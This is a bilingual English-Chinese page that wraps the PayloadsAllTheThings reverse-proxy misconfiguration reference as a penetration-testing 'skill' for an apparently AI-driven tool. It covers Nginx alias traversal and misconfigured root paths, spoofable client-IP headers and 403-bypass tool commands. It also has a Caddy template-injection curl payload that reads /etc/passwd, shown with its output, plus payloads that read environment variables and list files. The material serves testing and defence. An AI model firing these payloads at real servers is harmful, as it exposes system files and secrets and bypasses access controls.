Back to Details

payloads-reverse-proxy

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Reverse Proxy Misconfiguration Payloads

反向代理错误配置 Payload

Source: PayloadsAllTheThings/Reverse Proxy Misconfigurations Category: 
payloads-web
| Skill ID: 
payloads-reverse-proxy
来源: PayloadsAllTheThings/Reverse Proxy Misconfigurations 分类: 
payloads-web
| Skill ID: 
payloads-reverse-proxy

Overview

概述

Reverse proxy misconfiguration payloads for path confusion, header injection, and SSRF.
This skill integrates the full PayloadsAllTheThings (PATT) payload library for the Reverse Proxy Misconfiguration Payloads domain into the REA_Skill framework. Use it during authorized penetration testing, bug bounty research, security audits, and CTF challenges.
用于路径混淆、请求头注入和 SSRF 的反向代理错误配置 Payload。
此 skill 将适用于反向代理错误配置 Payload领域的完整 PayloadsAllTheThings (PATT) payload 库集成到 REA_Skill 框架中。在获得授权的渗透测试、漏洞赏金研究、安全审计和 CTF 挑战中使用它。

Workflow

工作流

1. Recon & Identification

1. 侦察与识别

  • Identify the target technology stack and injection points
  • Enumerate endpoints, parameters, and input vectors
  • Determine applicable payload categories from the reference below
  • 识别目标技术栈和注入点
  • 枚举端点、参数和输入向量
  • 根据以下参考确定适用的 payload 类别

2. Payload Selection

2. Payload 选择

  • Browse the PATT payload library for the attack class
  • Select encoding-appropriate payloads for the target environment
  • Consider WAF bypass variants and obfuscation techniques
  • 浏览 PATT payload 库中的攻击类别
  • 为目标环境选择适合其编码方式的 payload
  • 考虑 WAF 绕过变体和混淆技术

3. Exploitation (Authorized Only)

3. 利用（仅限授权场景）

  • Test payloads in order: passive → active → escalation
  • Document every payload tested and its response
  • Capture PoC evidence (screenshots, HTTP logs, curl output)
  • 按顺序测试 payload：被动 → 主动 → 权限提升
  • 记录测试的每个 payload 及其响应
  • 收集 PoC 证据（截图、HTTP 日志、curl 输出）

4. Verification & Reporting

4. 验证与报告

  • Confirm the vulnerability with a clean minimal PoC
  • Map findings to CVE/CWE where applicable
  • Report with remediation recommendations and code fixes
  • 使用简洁的最小化 PoC 确认漏洞
  • 在适用的情况下，将发现映射到 CVE/CWE
  • 报告时提供修复建议和代码修复方案

Full PATT Reference

完整 PATT 参考

Reverse Proxy Misconfigurations

反向代理错误配置

A reverse proxy is a server that sits between clients and backend servers, forwarding client requests to the appropriate server while hiding the backend infrastructure and often providing load balancing or caching. Misconfigurations in a reverse proxy, such as improper access controls, lack of input sanitization in proxy_pass directives, or trusting client-provided headers like X-Forwarded-For, can lead to vulnerabilities like unauthorized access, directory traversal, or exposure of internal resources.
反向代理是位于客户端和后端服务器之间的服务器，它将客户端请求转发到合适的服务器，同时隐藏后端基础设施，并且通常提供负载均衡或缓存功能。反向代理中的配置错误，例如访问控制不当、proxy_pass 指令中缺少输入清理，或信任客户端提供的 X-Forwarded-For 等标头，可能导致未授权访问、目录遍历或内部资源暴露等漏洞。

Summary

摘要

Tools

工具

  • yandex/gixy - Nginx configuration static analyzer.
  • MegaManSec/Gixy-Next - Actively maintained Python3 fork of gixy.
  • shiblisec/Kyubi - A tool to discover Nginx alias traversal misconfiguration.
  • laluka/bypass-url-parser - Tool that tests MANY url bypasses to reach a 40X protected page.
    ps1
    bypass-url-parser -u "http://127.0.0.1/juicy_403_endpoint/" -s 8.8.8.8 -d
bypass-url-parser -u /path/urls -t 30 -T 5 -H "Cookie: me_iz=admin" -H "User-agent: test"
bypass-url-parser -R /path/request_file --request-tls -m "mid_paths, end_paths"
  • yandex/gixy - Nginx 配置静态分析器。
  • MegaManSec/Gixy-Next - 积极维护的 Python3 版 gixy 分支。
  • shiblisec/Kyubi - 用于发现 Nginx alias 遍历配置错误的工具。
  • laluka/bypass-url-parser - 测试多种 URL 绕过方式以访问受 40X 保护的页面的工具。
    ps1
    bypass-url-parser -u "http://127.0.0.1/juicy_403_endpoint/" -s 8.8.8.8 -d
bypass-url-parser -u /path/urls -t 30 -T 5 -H "Cookie: me_iz=admin" -H "User-agent: test"
bypass-url-parser -R /path/request_file --request-tls -m "mid_paths, end_paths"

Methodology

方法论

HTTP Headers

HTTP 请求头

Since headers like 
X-Forwarded-For
, 
X-Real-IP
, and 
True-Client-IP
are just regular HTTP headers, a client can set or override them if it can control part of the traffic path—especially when directly connecting to the application server, or when reverse proxies are not properly filtering or validating these headers.
由于 X-Forwarded-For、X-Real-IP 和 True-Client-IP 等标头只是常规 HTTP 标头，因此只要客户端能够控制流量路径的一部分，就能够设置或覆盖这些标头，尤其是在直接连接应用服务器时，或者反向代理未正确过滤或验证这些标头时。

X-Forwarded-For

X-Forwarded-For

X-Forwarded-For
is an HTTP header used to identify the originating IP address of a client connecting to a web server through an HTTP proxy or a load balancer.
When a client makes a request through a proxy or load balancer, that proxy adds an X-Forwarded-For header containing the client’s real IP address.
If there are multiple proxies (a request passes through several), each proxy adds the address from which it received the request to the header, comma-separated.
ps1
X-Forwarded-For: 2.21.213.225, 104.16.148.244, 184.25.37.3
Nginx can override the header with the client's real IP address.
ps1
proxy_set_header X-Forwarded-For $remote_addr;
X-Forwarded-For
是 HTTP 标头，用于标识通过 HTTP 代理或负载均衡器连接到 Web 服务器的客户端源 IP 地址。
当客户端通过代理或负载均衡器发出请求时，代理会添加一个包含客户端真实 IP 地址的 X-Forwarded-For 标头。
如果存在多个代理（一个请求经过多个代理），每个代理都会将它收到请求的来源地址追加到该标头中，并以逗号分隔。
ps1
X-Forwarded-For: 2.21.213.225, 104.16.148.244, 184.25.37.3
Nginx 可以使用客户端的真实 IP 地址覆盖该标头。
ps1
proxy_set_header X-Forwarded-For $remote_addr;

X-Real-IP

X-Real-IP

X-Real-IP
is another custom HTTP header, commonly used by Nginx and some other proxies, to forward the original client IP address. Rather than including a chain of IP addresses like X-Forwarded-For, X-Real-IP contains only a single IP: the address of the client connecting to the first proxy.
X-Real-IP
是另一种自定义 HTTP 标头，Nginx 和其他一些代理常用它来转发原始客户端 IP 地址。与包含 IP 地址链的 X-Forwarded-For 不同，X-Real-IP 只包含一个 IP：连接到第一个代理的客户端地址。

True-Client-IP

True-Client-IP

True-Client-IP
is a header developed and standardized by some providers, particularly by Akamai, to pass the original client’s IP address through their infrastructure.
True-Client-IP
是由某些提供商，尤其是 Akamai，开发并标准化的标头，用于在其基础设施中传递原始客户端的 IP 地址。

Nginx

Nginx

Off By Slash

Off By Slash

Nginx matches incoming request URIs against the location blocks defined in your configuration.
  • location /app/
    matches requests to 
    /app/
    , 
    /app/foo
    , 
    /app/bar/123
    , etc.
  • location /app
    (no trailing slash) matches 
    /app*
    (i.e., 
    /application
    , 
    /appfile
    , etc.),
This means in Nginx, the presence or absence of a slash in a location block changes the matching logic.
ps1
server {
  location /app/ {
    # Handles /app/ and anything below, e.g., /app/foo
  }
  location /app {
    # Handles only /app with nothing after OR routes like /application, /appzzz
  }
}
Example of a vulnerable configuration: An attacker requesting 
/styles../secret.txt
resolves to 
/path/styles/../secret.txt
ps1
location /styles {
  alias /path/css/;
}
Nginx 会根据配置中定义的 location 块将传入请求的 URI 与其进行匹配。
  • location /app/
    匹配对 
    /app/
    、
    /app/foo
    、
    /app/bar/123
    等路径的请求。
  • location /app
    （无尾部斜杠）匹配 
    /app*
    （即 
    /application
    、
    /appfile
    等），
这意味着在 Nginx 中，location 块中斜杠的有无会改变匹配逻辑。
ps1
server {
  location /app/ {
    # Handles /app/ and anything below, e.g., /app/foo
  }
  location /app {
    # Handles only /app with nothing after OR routes like /application, /appzzz
  }
}
漏洞配置示例：攻击者请求 
/styles../secret.txt
时，会解析为 
/path/styles/../secret.txt
。
ps1
location /styles {
  alias /path/css/;
}

Missing Root Location

缺失根 Location 配置

The 
root /etc/nginx;
directive sets the server's root directory for static files. The configuration doesn't have a root location 
/
, it will be set globally set. A request to 
/nginx.conf
would resolve to 
/etc/nginx/nginx.conf
.
ps1
server {
  root /etc/nginx;

  location /hello.txt {
    try_files $uri $uri/ =404;
    proxy_pass http://127.0.0.1:8080/;
  }
}
root /etc/nginx;
指令用于设置服务器的静态文件根目录。
如果配置中没有根 location 
/
，则会全局采用该设置。
对 
/nginx.conf
的请求会解析到 
/etc/nginx/nginx.conf
。
ps1
server {
  root /etc/nginx;

  location /hello.txt {
    try_files $uri $uri/ =404;
    proxy_pass http://127.0.0.1:8080/;
  }
}

Caddy

Caddy

Template Injection

模板注入

The provided Caddy web server config uses the 
templates
directive, which allows dynamic content rendering with Go templates.
ps1
:80 {
    root * /
    templates
    respond "You came from {http.request.header.Referer}"
}
This tells Caddy to process the response string as a template, and interpolate any variables (using Go template syntax) present in the referenced request header.
In this curl request, the attacker supplied as 
Referer
header a Go template expression: 
{{readFile "etc/passwd"}}
.
ps1
curl -H 'Referer: {{readFile "etc/passwd"}}' http://localhost/
ps1
HTTP/1.1 200 OK
Content-Length: 716
Content-Type: text/plain; charset=utf-8
Server: Caddy
Date: Thu, 24 Jul 2025 08:00:50 GMT

You came from root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
Because Caddy is running the templates directive, it will evaluate anything in curly braces inside the context, including things from untrusted input. The 
readFile
function is available in Caddy templates, so the attacker's input causes Caddy to actually read 
/etc/passwd
and insert its content into the HTTP response.
PayloadDescription
{{env "VAR_NAME"}}
Get an environment variable
{{listFiles "/"}}
List all files in a directory
{{readFile "path/to/file"}}
Read a file
所提供的 Caddy Web 服务器配置使用了 
templates
指令，该指令允许使用 Go 模板渲染动态内容。
ps1
:80 {
    root * /
    templates
    respond "You came from {http.request.header.Referer}"
}
这会指示 Caddy 将响应字符串作为模板处理，并插值所引用请求标头中存在的任何变量（使用 Go 模板语法）。
在此 curl 请求中，攻击者通过 
Referer
标头提供了一个 Go 模板表达式：
{{readFile "etc/passwd"}}
。
ps1
curl -H 'Referer: {{readFile "etc/passwd"}}' http://localhost/
ps1
HTTP/1.1 200 OK
Content-Length: 716
Content-Type: text/plain; charset=utf-8
Server: Caddy
Date: Thu, 24 Jul 2025 08:00:50 GMT

You came from root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
由于 Caddy 正在运行 templates 指令，因此它会计算上下文中大括号内的任何内容，包括来自不可信输入的内容。Caddy 模板中提供了 
readFile
函数，因此攻击者的输入会使 Caddy 实际读取 
/etc/passwd
，并将其内容插入 HTTP 响应中。
Payload说明
{{env "VAR_NAME"}}
获取环境变量
{{listFiles "/"}}
列出目录中的所有文件
{{readFile "path/to/file"}}
读取文件

Labs

靶场

References

参考资料

REA MCP Integration

REA MCP 集成

javascript
// REA MCP — Automated payload injection via REA tools
// Use analyze_function, procedure_pseudo_code, or observe_native_calls
// to identify injection sinks, then apply payloads from this skill.
javascript
// REA MCP — Automated payload injection via REA tools
// Use analyze_function, procedure_pseudo_code, or observe_native_calls
// to identify injection sinks, then apply payloads from this skill.

Legal Notice

法律声明

⚠️ Authorized Use Only. All payloads in this skill are for security research, penetration testing with written permission, CTF competitions, and defensive study. Unauthorized use against systems you do not own or have explicit permission to test is illegal.
⚠️ 仅限授权使用。 此 skill 中的所有 payload 均用于安全研究、获得书面许可的渗透测试、CTF 比赛和防御性研究。未经授权将其用于你不拥有或未获明确测试许可的系统属于违法行为。